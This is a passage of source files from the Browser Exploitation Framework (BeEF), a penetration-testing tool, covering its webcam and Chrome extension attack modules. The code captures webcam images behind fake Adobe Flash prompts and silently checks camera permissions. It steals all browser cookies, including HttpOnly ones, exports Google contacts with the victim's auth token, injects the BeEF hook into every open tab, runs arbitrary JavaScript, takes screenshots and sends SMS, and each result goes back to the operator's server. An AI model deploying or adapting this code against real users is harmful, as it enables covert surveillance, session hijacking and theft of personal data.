(c4 == -1) { break; } out.writeByte(((c3 & 0x03) << 6) | c4); } return out; } } } ================================================ FILE: modules/browser/webcam_flash/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'base64' class Webcam_flash < BeEF::Core::Command def pre_send BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/browser/webcam_flash/takeit.swf', '/takeit', 'swf') BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/browser/webcam_flash/swfobject.js', '/swfobject', 'js') end def self.options social_engineering_title = 'This website is using Adobe Flash' social_engineering_text = 'In order to work with the programming framework this website is using, you need to allow the Adobe Flash Player Settings. If you use the new Ajax and HTML5 features in conjunction with Adobe Flash Player, it will improve your user experience.' no_of_pictures = 20 interval = 1000 [ { 'name' => 'social_engineering_title', 'description' => 'The title that is shown to the victim.', 'ui_label' => 'Social Engineering Title', 'value' => social_engineering_title, 'width' => '100px' }, { 'name' => 'social_engineering_text', 'description' => 'The social engineering text you want to show to convince the user to click the Allow button.', 'ui_label' => 'Social Engineering Text', 'value' => social_engineering_text, 'width' => '300px', 'type' => 'textarea' }, { 'name' => 'no_of_pictures', 'description' => 'The number of pictures you want to take after the victim clicked "allow".', 'ui_label' => 'Number of pictures', 'value' => no_of_pictures, 'width' => '100px' }, { 'name' => 'interval', 'description' => 'The interval in which pictures are taken.', 'ui_label' => 'Interval to take pictures (ms)', 'value' => interval, 'width' => '100px' } ] end def post_execute content = {} content['result'] = @datastore['result'] unless @datastore['result'].nil? content['picture'] = @datastore['picture'] unless @datastore['picture'].nil? save content BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/takeit.swf') BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/swfobject.js') end end ================================================ FILE: modules/browser/webcam_flash/swfobject.js ================================================ /* SWFObject v2.2 is released under the MIT License */ var swfobject=function(){var D="undefined",r="object",S="Shockwave Flash",W="ShockwaveFlash.ShockwaveFlash",q="application/x-shockwave-flash",R="SWFObjectExprInst",x="onreadystatechange",O=window,j=document,t=navigator,T=false,U=[h],o=[],N=[],I=[],l,Q,E,B,J=false,a=false,n,G,m=true,M=function(){var aa=typeof j.getElementById!=D&&typeof j.getElementsByTagName!=D&&typeof j.createElement!=D,ah=t.userAgent.toLowerCase(),Y=t.platform.toLowerCase(),ae=Y?/win/.test(Y):/win/.test(ah),ac=Y?/mac/.test(Y):/mac/.test(ah),af=/webkit/.test(ah)?parseFloat(ah.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1")):false,X=!+"\v1",ag=[0,0,0],ab=null;if(typeof t.plugins!=D&&typeof t.plugins[S]==r){ab=t.plugins[S].description;if(ab&&!(typeof t.mimeTypes!=D&&t.mimeTypes[q]&&!t.mimeTypes[q].enabledPlugin)){T=true;X=false;ab=ab.replace(/^.*\s+(\S+\s+\S+$)/,"$1");ag[0]=parseInt(ab.replace(/^(.*)\..*$/,"$1"),10);ag[1]=parseInt(ab.replace(/^.*\.(.*)\s.*$/,"$1"),10);ag[2]=/[a-zA-Z]/.test(ab)?parseInt(ab.replace(/^.*[a-zA-Z]+(.*)$/,"$1"),10):0}}else{if(typeof O.ActiveXObject!=D){try{var ad=new ActiveXObject(W);if(ad){ab=ad.GetVariable("$version");if(ab){X=true;ab=ab.split(" ")[1].split(",");ag=[parseInt(ab[0],10),parseInt(ab[1],10),parseInt(ab[2],10)]}}}catch(Z){}}}return{w3:aa,pv:ag,wk:af,ie:X,win:ae,mac:ac}}(),k=function(){if(!M.w3){return}if((typeof j.readyState!=D&&j.readyState=="complete")||(typeof j.readyState==D&&(j.getElementsByTagName("body")[0]||j.body))){f()}if(!J){if(typeof j.addEventListener!=D){j.addEventListener("DOMContentLoaded",f,false)}if(M.ie&&M.win){j.attachEvent(x,function(){if(j.readyState=="complete"){j.detachEvent(x,arguments.callee);f()}});if(O==top){(function(){if(J){return}try{j.documentElement.doScroll("left")}catch(X){setTimeout(arguments.callee,0);return}f()})()}}if(M.wk){(function(){if(J){return}if(!/loaded|complete/.test(j.readyState)){setTimeout(arguments.callee,0);return}f()})()}s(f)}}();function f(){if(J){return}try{var Z=j.getElementsByTagName("body")[0].appendChild(C("span"));Z.parentNode.removeChild(Z)}catch(aa){return}J=true;var X=U.length;for(var Y=0;Y0){for(var af=0;af0){var ae=c(Y);if(ae){if(F(o[af].swfVersion)&&!(M.wk&&M.wk<312)){w(Y,true);if(ab){aa.success=true;aa.ref=z(Y);ab(aa)}}else{if(o[af].expressInstall&&A()){var ai={};ai.data=o[af].expressInstall;ai.width=ae.getAttribute("width")||"0";ai.height=ae.getAttribute("height")||"0";if(ae.getAttribute("class")){ai.styleclass=ae.getAttribute("class")}if(ae.getAttribute("align")){ai.align=ae.getAttribute("align")}var ah={};var X=ae.getElementsByTagName("param");var ac=X.length;for(var ad=0;ad'}}aa.outerHTML='"+af+"";N[N.length]=ai.id;X=c(ai.id)}else{var Z=C(r);Z.setAttribute("type",q);for(var ac in ai){if(ai[ac]!=Object.prototype[ac]){if(ac.toLowerCase()=="styleclass"){Z.setAttribute("class",ai[ac])}else{if(ac.toLowerCase()!="classid"){Z.setAttribute(ac,ai[ac])}}}}for(var ab in ag){if(ag[ab]!=Object.prototype[ab]&&ab.toLowerCase()!="movie"){e(Z,ab,ag[ab])}}aa.parentNode.replaceChild(Z,aa);X=Z}}return X}function e(Z,X,Y){var aa=C("param");aa.setAttribute("name",X);aa.setAttribute("value",Y);Z.appendChild(aa)}function y(Y){var X=c(Y);if(X&&X.nodeName=="OBJECT"){if(M.ie&&M.win){X.style.display="none";(function(){if(X.readyState==4){b(Y)}else{setTimeout(arguments.callee,10)}})()}else{X.parentNode.removeChild(X)}}}function b(Z){var Y=c(Z);if(Y){for(var X in Y){if(typeof Y[X]=="function"){Y[X]=null}}Y.parentNode.removeChild(Y)}}function c(Z){var X=null;try{X=j.getElementById(Z)}catch(Y){}return X}function C(X){return j.createElement(X)}function i(Z,X,Y){Z.attachEvent(X,Y);I[I.length]=[Z,X,Y]}function F(Z){var Y=M.pv,X=Z.split(".");X[0]=parseInt(X[0],10);X[1]=parseInt(X[1],10)||0;X[2]=parseInt(X[2],10)||0;return(Y[0]>X[0]||(Y[0]==X[0]&&Y[1]>X[1])||(Y[0]==X[0]&&Y[1]==X[1]&&Y[2]>=X[2]))?true:false}function v(ac,Y,ad,ab){if(M.ie&&M.mac){return}var aa=j.getElementsByTagName("head")[0];if(!aa){return}var X=(ad&&typeof ad=="string")?ad:"screen";if(ab){n=null;G=null}if(!n||G!=X){var Z=C("style");Z.setAttribute("type","text/css");Z.setAttribute("media",X);n=aa.appendChild(Z);if(M.ie&&M.win&&typeof j.styleSheets!=D&&j.styleSheets.length>0){n=j.styleSheets[j.styleSheets.length-1]}G=X}if(M.ie&&M.win){if(n&&typeof n.addRule==r){n.addRule(ac,Y)}}else{if(n&&typeof j.createTextNode!=D){n.appendChild(j.createTextNode(ac+" {"+Y+"}"))}}}function w(Z,X){if(!m){return}var Y=X?"visible":"hidden";if(J&&c(Z)){c(Z).style.visibility=Y}else{v("#"+Z,"visibility:"+Y)}}function L(Y){var Z=/[\\\"<>\.;]/;var X=Z.exec(Y)!=null;return X&&typeof encodeURIComponent!=D?encodeURIComponent(Y):Y}var d=function(){if(M.ie&&M.win){window.attachEvent("onunload",function(){var ac=I.length;for(var ab=0;ab",<%= @command_id %>, 'result=WebGL is not supported', beef.are.status_error()); return; } var vid_id = beef.dom.generateID(); var can_id = beef.dom.generateID(); var vid_el = beef.dom.createElement('video',{'id':vid_id,'style':'display:none;','autoplay':'true'}); var can_el = beef.dom.createElement('canvas',{'id':can_id,'style':'display:none;','width':'640','height':'480'}); $j('body').append(vid_el); $j('body').append(can_el); var ctx = can_el.getContext('2d'); var localMediaStream = null; var streaming = false; var width = 320; // We will scale the photo width to this var height = 0; // This will be computed based on the input stream var cap = function() { if (localMediaStream) { ctx.drawImage(vid_el,0,0,width,height); beef.net.send("<%= @command_url %>",<%= @command_id %>, 'image='+can_el.toDataURL('image/png')); } else { beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=something went wrong', beef.are.status_error()); } }; window.URL = window.URL || window.webkitURL; // Older browsers might not implement mediaDevices at all, so we set an empty object first if (navigator.mediaDevices === undefined) { navigator.mediaDevices = {}; } // Some browsers partially implement mediaDevices. We can't just assign an object // with getUserMedia as it would overwrite existing properties. // Here, we will just add the getUserMedia property if it's missing. if (navigator.mediaDevices.getUserMedia === undefined) { navigator.mediaDevices.getUserMedia = function(constraints) { // First get ahold of the legacy getUserMedia, if present var getUserMedia = navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia; // Some browsers just don't implement it - return a rejected promise with an error // to keep a consistent interface if (!getUserMedia) { return Promise.reject(new Error('getUserMedia is not implemented in this browser')); } // Otherwise, wrap the call to the old navigator.getUserMedia with a Promise return new Promise(function(resolve, reject) { getUserMedia.call(navigator, constraints, resolve, reject); }); } } navigator.mediaDevices.getUserMedia({video:true}).then(function(stream) { if ('srcObject' in vid_el) { vid_el.srcObject = stream; vid_el.play(); } else { vid_el.src = window.URL.createObjectURL(stream); } localMediaStream = stream; vid_el.addEventListener('canplay', function(ev){ if (!streaming) { streaming = true; setTimeout(cap,2000); } }, false); }, function(err) { beef.debug('[Webcam HTML5] Error: getUserMedia call failed'); beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=getUserMedia call failed', beef.are.status_error()); }); // Retrieve the chosen div option from BeEF and display var choice = "<%= @choice %>"; switch (choice) { case "320x240": size320(); break; case "640x480": size640(); break; case "Full": sizeFull(); break; default: size320(); break; } function size320() { width = 320; height = 240; } function size640() { width = 640; height = 480; } function sizeFull() { width = 1280; height = 720; } }); ================================================ FILE: modules/browser/webcam_html5/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: webcam_html5: enable: true category: "Browser" name: "Webcam HTML5" description: "This module will leverage HTML5s WebRTC to capture webcam images. Only tested in Chrome, and it will display a dialog to ask if the user wants to enable their webcam.
    If no image shown choose smaller image size" authors: ["xntrik"] target: user_notify: ["C"] unknown: ["All"] ================================================ FILE: modules/browser/webcam_html5/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'base64' class Webcam_html5 < BeEF::Core::Command def self.options [ { 'name' => 'choice', 'type' => 'combobox', 'ui_label' => 'Screenshot size', 'store_type' => 'arraystore', 'store_fields' => ['choice'], 'store_data' => [['320x240'], ['640x480'], ['Full']], 'valueField' => 'choice', 'value' => '320x240', editable: false, 'displayField' => 'choice', 'mode' => 'local', 'autoWidth' => true }, ] end def post_execute content = {} content['result'] = @datastore['result'] unless @datastore['result'].nil? content['image'] = @datastore['image'] unless @datastore['image'].nil? save content end end ================================================ FILE: modules/browser/webcam_permission_check/cameraCheck.as ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // // Source ActionScript for cameraCheck.swf package { import flash.display.Sprite; import flash.external.ExternalInterface; import flash.media.Camera; import flash.system.Security; import flash.system.SecurityPanel; public class CamCheck extends Sprite { var _cam:Camera; public function CamCheck() { if (Camera.isSupported) { this._cam = Camera.getCamera(); if (!this._cam) { //Either the camera is not available or some other error has occurred ExternalInterface.call("naPermissions"); } else if (this._cam.muted) { //The user has not allowed access to the camera ExternalInterface.call("noPermissions"); // Uncomment this show the privacy/security settings window //Security.showSettings(SecurityPanel.PRIVACY); } else { //The user has allowed access to the camera ExternalInterface.call("yesPermissions"); } } else { //Camera Not Supported ExternalInterface.call("naPermissions"); } } } } ================================================ FILE: modules/browser/webcam_permission_check/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { //These 3 functions [naPermissions() The camera is not available or not supported // yesPermissions() The user is allowing access to the camera / mic // yesPermissions() The user has not allowed access to the camera / mic // Flash will invoke these functions directly. //var js_functions = ''; //These functions are global so they can accessed by the cameraCheck.swf file noPermissions = function() { beef.net.send("<%= @command_url %>",<%= @command_id %>,"result=The user has not allowed BeEF to access the camera :("); } yesPermissions = function() { beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=The user has allowed BeEF to access the camera :D"); } naPermissions = function() { beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Camera not supported / available :/&unmount=true"); } //After the swfobject loads the SWF file, this callback sends a status back to BeEF var swfobjectCallback = function(e) { if(e.success){ beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Swfobject successfully added flash object to the victim page"); } else { beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Swfobject was not able to add the swf file to the page. This could mean there was no flash plugin installed."); } } //This is the DIV for the flash object var body_flash_container = '
    '; $j('body').append(body_flash_container); // Lets execute swfobject.js // If it works, we then run it to embed the swf file into the above div $j.getScript(beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/swfobject.js',function(data,txtStatus,jqxhr) { var flashvars = {}; var parameters = {}; parameters.scale = "noscale"; parameters.wmode = "opaque"; parameters.allowFullScreen = "true"; parameters.allowScriptAccess = "always"; var attributes = {}; swfobject.embedSWF(beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/cameraCheck.swf', "main", "1", "1", "9", "expressInstall.swf", flashvars, parameters, attributes, swfobjectCallback); }); //A library that helps include the swf file //var swfobject_script = '' //This is the javascript that actually calls the swfobject library to include the swf file //var include_script = ''; //Add flash content //$j('body').append(js_functions, swfobject_script, body_flash_container, include_script); }); ================================================ FILE: modules/browser/webcam_permission_check/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: webcam_permission_check: enable: true category: "Browser" name: "Webcam Permission Check" description: "This module will check to see if the user has allowed the BeEF domain (or all domains) to access the Camera and Mic with Flash. This module is transparent and should not be detected by the user (ie. no popup requesting permission will appear)" authors: ["@bw_z"] target: working: ["All"] ================================================ FILE: modules/browser/webcam_permission_check/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Webcam_permission_check < BeEF::Core::Command def pre_send BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/browser/webcam_permission_check/cameraCheck.swf', '/cameraCheck', 'swf') BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/browser/webcam_permission_check/swfobject.js', '/swfobject', 'js') end def post_execute BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/cameraCheck.swf') BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/swfobject.js') end end ================================================ FILE: modules/browser/webcam_permission_check/swfobject.js ================================================ /* SWFObject v2.2 is released under the MIT License */ var swfobject=function(){var D="undefined",r="object",S="Shockwave Flash",W="ShockwaveFlash.ShockwaveFlash",q="application/x-shockwave-flash",R="SWFObjectExprInst",x="onreadystatechange",O=window,j=document,t=navigator,T=false,U=[h],o=[],N=[],I=[],l,Q,E,B,J=false,a=false,n,G,m=true,M=function(){var aa=typeof j.getElementById!=D&&typeof j.getElementsByTagName!=D&&typeof j.createElement!=D,ah=t.userAgent.toLowerCase(),Y=t.platform.toLowerCase(),ae=Y?/win/.test(Y):/win/.test(ah),ac=Y?/mac/.test(Y):/mac/.test(ah),af=/webkit/.test(ah)?parseFloat(ah.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1")):false,X=!+"\v1",ag=[0,0,0],ab=null;if(typeof t.plugins!=D&&typeof t.plugins[S]==r){ab=t.plugins[S].description;if(ab&&!(typeof t.mimeTypes!=D&&t.mimeTypes[q]&&!t.mimeTypes[q].enabledPlugin)){T=true;X=false;ab=ab.replace(/^.*\s+(\S+\s+\S+$)/,"$1");ag[0]=parseInt(ab.replace(/^(.*)\..*$/,"$1"),10);ag[1]=parseInt(ab.replace(/^.*\.(.*)\s.*$/,"$1"),10);ag[2]=/[a-zA-Z]/.test(ab)?parseInt(ab.replace(/^.*[a-zA-Z]+(.*)$/,"$1"),10):0}}else{if(typeof O.ActiveXObject!=D){try{var ad=new ActiveXObject(W);if(ad){ab=ad.GetVariable("$version");if(ab){X=true;ab=ab.split(" ")[1].split(",");ag=[parseInt(ab[0],10),parseInt(ab[1],10),parseInt(ab[2],10)]}}}catch(Z){}}}return{w3:aa,pv:ag,wk:af,ie:X,win:ae,mac:ac}}(),k=function(){if(!M.w3){return}if((typeof j.readyState!=D&&j.readyState=="complete")||(typeof j.readyState==D&&(j.getElementsByTagName("body")[0]||j.body))){f()}if(!J){if(typeof j.addEventListener!=D){j.addEventListener("DOMContentLoaded",f,false)}if(M.ie&&M.win){j.attachEvent(x,function(){if(j.readyState=="complete"){j.detachEvent(x,arguments.callee);f()}});if(O==top){(function(){if(J){return}try{j.documentElement.doScroll("left")}catch(X){setTimeout(arguments.callee,0);return}f()})()}}if(M.wk){(function(){if(J){return}if(!/loaded|complete/.test(j.readyState)){setTimeout(arguments.callee,0);return}f()})()}s(f)}}();function f(){if(J){return}try{var Z=j.getElementsByTagName("body")[0].appendChild(C("span"));Z.parentNode.removeChild(Z)}catch(aa){return}J=true;var X=U.length;for(var Y=0;Y0){for(var af=0;af0){var ae=c(Y);if(ae){if(F(o[af].swfVersion)&&!(M.wk&&M.wk<312)){w(Y,true);if(ab){aa.success=true;aa.ref=z(Y);ab(aa)}}else{if(o[af].expressInstall&&A()){var ai={};ai.data=o[af].expressInstall;ai.width=ae.getAttribute("width")||"0";ai.height=ae.getAttribute("height")||"0";if(ae.getAttribute("class")){ai.styleclass=ae.getAttribute("class")}if(ae.getAttribute("align")){ai.align=ae.getAttribute("align")}var ah={};var X=ae.getElementsByTagName("param");var ac=X.length;for(var ad=0;ad'}}aa.outerHTML='"+af+"";N[N.length]=ai.id;X=c(ai.id)}else{var Z=C(r);Z.setAttribute("type",q);for(var ac in ai){if(ai[ac]!=Object.prototype[ac]){if(ac.toLowerCase()=="styleclass"){Z.setAttribute("class",ai[ac])}else{if(ac.toLowerCase()!="classid"){Z.setAttribute(ac,ai[ac])}}}}for(var ab in ag){if(ag[ab]!=Object.prototype[ab]&&ab.toLowerCase()!="movie"){e(Z,ab,ag[ab])}}aa.parentNode.replaceChild(Z,aa);X=Z}}return X}function e(Z,X,Y){var aa=C("param");aa.setAttribute("name",X);aa.setAttribute("value",Y);Z.appendChild(aa)}function y(Y){var X=c(Y);if(X&&X.nodeName=="OBJECT"){if(M.ie&&M.win){X.style.display="none";(function(){if(X.readyState==4){b(Y)}else{setTimeout(arguments.callee,10)}})()}else{X.parentNode.removeChild(X)}}}function b(Z){var Y=c(Z);if(Y){for(var X in Y){if(typeof Y[X]=="function"){Y[X]=null}}Y.parentNode.removeChild(Y)}}function c(Z){var X=null;try{X=j.getElementById(Z)}catch(Y){}return X}function C(X){return j.createElement(X)}function i(Z,X,Y){Z.attachEvent(X,Y);I[I.length]=[Z,X,Y]}function F(Z){var Y=M.pv,X=Z.split(".");X[0]=parseInt(X[0],10);X[1]=parseInt(X[1],10)||0;X[2]=parseInt(X[2],10)||0;return(Y[0]>X[0]||(Y[0]==X[0]&&Y[1]>X[1])||(Y[0]==X[0]&&Y[1]==X[1]&&Y[2]>=X[2]))?true:false}function v(ac,Y,ad,ab){if(M.ie&&M.mac){return}var aa=j.getElementsByTagName("head")[0];if(!aa){return}var X=(ad&&typeof ad=="string")?ad:"screen";if(ab){n=null;G=null}if(!n||G!=X){var Z=C("style");Z.setAttribute("type","text/css");Z.setAttribute("media",X);n=aa.appendChild(Z);if(M.ie&&M.win&&typeof j.styleSheets!=D&&j.styleSheets.length>0){n=j.styleSheets[j.styleSheets.length-1]}G=X}if(M.ie&&M.win){if(n&&typeof n.addRule==r){n.addRule(ac,Y)}}else{if(n&&typeof j.createTextNode!=D){n.appendChild(j.createTextNode(ac+" {"+Y+"}"))}}}function w(Z,X){if(!m){return}var Y=X?"visible":"hidden";if(J&&c(Z)){c(Z).style.visibility=Y}else{v("#"+Z,"visibility:"+Y)}}function L(Y){var Z=/[\\\"<>\.;]/;var X=Z.exec(Y)!=null;return X&&typeof encodeURIComponent!=D?encodeURIComponent(Y):Y}var d=function(){if(M.ie&&M.win){window.attachEvent("onunload",function(){var ac=I.length;for(var ab=0;ab"}, function(tab){ chrome.tabs.executeScript(tab.id,{code:"<%= @theJS %>"}, function(){ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Code executed on tab.id: ' + tab.id); }); }); } catch(error){ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Not inside of a Chrome Extension'); } }); ================================================ FILE: modules/chrome_extensions/execute_tabs/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: execute_tabs: enable: true category: "Chrome Extensions" name: "Execute On Tab" description: "Open a new tab and execute the Javascript code on it. The Chrome Extension needs to have the 'tabs' permission, as well as access to the domain." authors: ["Kos", "antisnatchor"] target: user_notify: ["C"] not_working: ["All"] ================================================ FILE: modules/chrome_extensions/execute_tabs/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Execute_tabs < BeEF::Core::Command def self.options [ { 'name' => 'url', 'ui_label' => 'URL', 'value' => 'https://www.google.com/accounts/EditUserInfo', 'width' => '500px' }, { 'name' => 'theJS', 'ui_label' => 'Javascript', 'value' => 'prompt(\'BeEF\');', 'type' => 'textarea', 'width' => '400px', 'height' => '300px' } ] end def post_execute content = {} content['Return'] = @datastore['return'] save content end end ================================================ FILE: modules/chrome_extensions/get_all_cookies/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { the_url = "<%== @url %>"; if (the_url != 'default_all') { chrome.cookies.getAll({url:the_url}, function(cookies){ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'cookies: ' + JSON.stringify(cookies)); }) } else { chrome.cookies.getAll({}, function(cookies){ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'cookies: ' + JSON.stringify(cookies)); }) } }); ================================================ FILE: modules/chrome_extensions/get_all_cookies/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_all_cookies: enable: true category: "Chrome Extensions" name: "Get All Cookies" description: "Steal cookies, even HttpOnly cookies, providing the hooked extension has cookies access.
    If a URL is not specified then all cookies are returned (this can be a lot!)" authors: ["mh"] target: working: ["C"] not_working: ["All"] ================================================ FILE: modules/chrome_extensions/get_all_cookies/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_all_cookies < BeEF::Core::Command def self.options [ { 'name' => 'url', 'ui_label' => 'Domain (e.g. http://facebook.com)', 'value' => 'default_all' } ] end def post_execute content = {} content['Return'] = @datastore['return'] save content end end ================================================ FILE: modules/chrome_extensions/grab_google_contacts/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var regContacts = '("AuthToken":{"Value":")(.*)("}}};)'; function grabCSV(token){ var csv = new XMLHttpRequest(); csv.open("GET", "https://www.google.com/voice/c/b/X/data/export?groupToExport=%5EMine&exportType=ALL&out=GMAIL_CSV&tok="+token,false); csv.setRequestHeader("Content-Charset", "ISO-8859-1,utf-8;q=0.7,*;q=0.3"); csv.send(); return csv.responseText } function toolContact(v) { var re = new RegExp(regContacts); var m = re.exec(v); if (m != null) { tmpCSV = grabCSV(m[2]) params = "email=email&csv="+tmpCSV; beef.net.send('<%= @command_url %>', <%= @command_id %>, tmpCSV); } } function grabContacts(){ var client = new XMLHttpRequest(); client.open("GET", "https://www.google.com/voice/c/b/X/ui/ContactManager" ,false); client.setRequestHeader("Content-Charset", "ISO-8859-1,utf-8;q=0.7,*;q=0.3"); client.send(); if(client.status != 200){ // if the victim is not authenticated in Google, a 403 Forbidden error is received. beef.net.send('<%= @command_url %>', <%= @command_id %>, 'The victim is not logged in Google.'); }else{ //proceed toolContact(client.responseText); } } grabContacts(); }); ================================================ FILE: modules/chrome_extensions/grab_google_contacts/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: grab_google_contacts: enable: true category: "Chrome Extensions" name: "Grab Google Contacts" description: "Attempt to grab the contacts of the currently logged in Google account, exploiting the export to CSV feature." authors: ["Kos", "antisnatchor"] target: working: ["C"] not_working: ["All"] ================================================ FILE: modules/chrome_extensions/grab_google_contacts/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Grab_google_contacts < BeEF::Core::Command def post_execute content = {} content['Return'] = @datastore['return'] save content end end ================================================ FILE: modules/chrome_extensions/inject_beef/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var beefHookUri = beef.net.httpproto + "://" + beef.net.host + ":" + beef.net.port + beef.net.hook; chrome.windows.getAll({"populate" : true}, function(windows) { for(i in windows) { if(windows[i].type=="normal") { chrome.tabs.getAllInWindow(windows[i].id,function(tabs){ for(t in tabs) { //antisnatchor: if the extension has her own tabs open, we want to precent injecting the hook //also there. Chrome extensions with tabs and http/s permissions cannot access URIs with protocol // handlers chrome-extension://, and most of them will not have permissions to do so. if(tabs[t].url.substring(0,16) != "chrome-extension"){ chrome.tabs.executeScript(tabs[t].id,{code:"newScript=document.createElement('script'); newScript.src='" + beefHookUri + "'; newScript.setAttribute('onload','beef_init()'); document.getElementsByTagName('head')[0].appendChild(newScript);"}) //send back the new domain that will be hooked :-) beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Successfully injected BeEF hook on: ' + tabs[t].url); } } }) } } }); }); ================================================ FILE: modules/chrome_extensions/inject_beef/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: inject_beef: enable: true category: "Chrome Extensions" name: "Inject BeEF" description: "Attempt to inject the BeEF hook on all the available tabs." authors: ["Kos", "antisnatchor"] target: working: ["C"] not_working: ["All"] ================================================ FILE: modules/chrome_extensions/inject_beef/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Inject_beef < BeEF::Core::Command def post_execute content = {} content['Return'] = @datastore['return'] save content end end ================================================ FILE: modules/chrome_extensions/screenshot/command.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { chrome.tabs.captureVisibleTab(null, function(img) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'img: ' + img.toString()); }); }); ================================================ FILE: modules/chrome_extensions/screenshot/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: screenshot: enable: true category: "Chrome Extensions" name: "Screenshot" description: "Screenshots current tab the user is in, screenshot returned as base64d data for a dataurl" authors: ["mh"] target: working: ["C"] not_working: ["All"] ================================================ FILE: modules/chrome_extensions/screenshot/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Screenshot < BeEF::Core::Command def post_execute content = {} content['Return'] = @datastore['return'] save content end end ================================================ FILE: modules/chrome_extensions/send_gvoice_sms/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var to = "<%= @to %>"; var message = "<%= @message %>"; var status; var regSMS = "('_rnr_se': ')([a-zA-Z0-9\+=]+)";//?(',)" function sendSMSNOW(message,number,token){ token = token.replace("+","%2b").replace("=","%3d"); var sendMessage = new XMLHttpRequest(); sendMessage.open("POST","https://www.google.com/voice/sms/send/",false); sendMessage.setRequestHeader("Content-Type", "application/x-www-form-urlencoded;charset=UTF-8"); params = "id=&phoneNumber="+number+"&conversationId=&text="+message+"&contact=&_rnr_se="+token sendMessage.send(params) eval("response="+sendMessage.responseText); if(response['ok'] == true){ status = "OK. Your message has been sent."; } else { status = "ERROR. 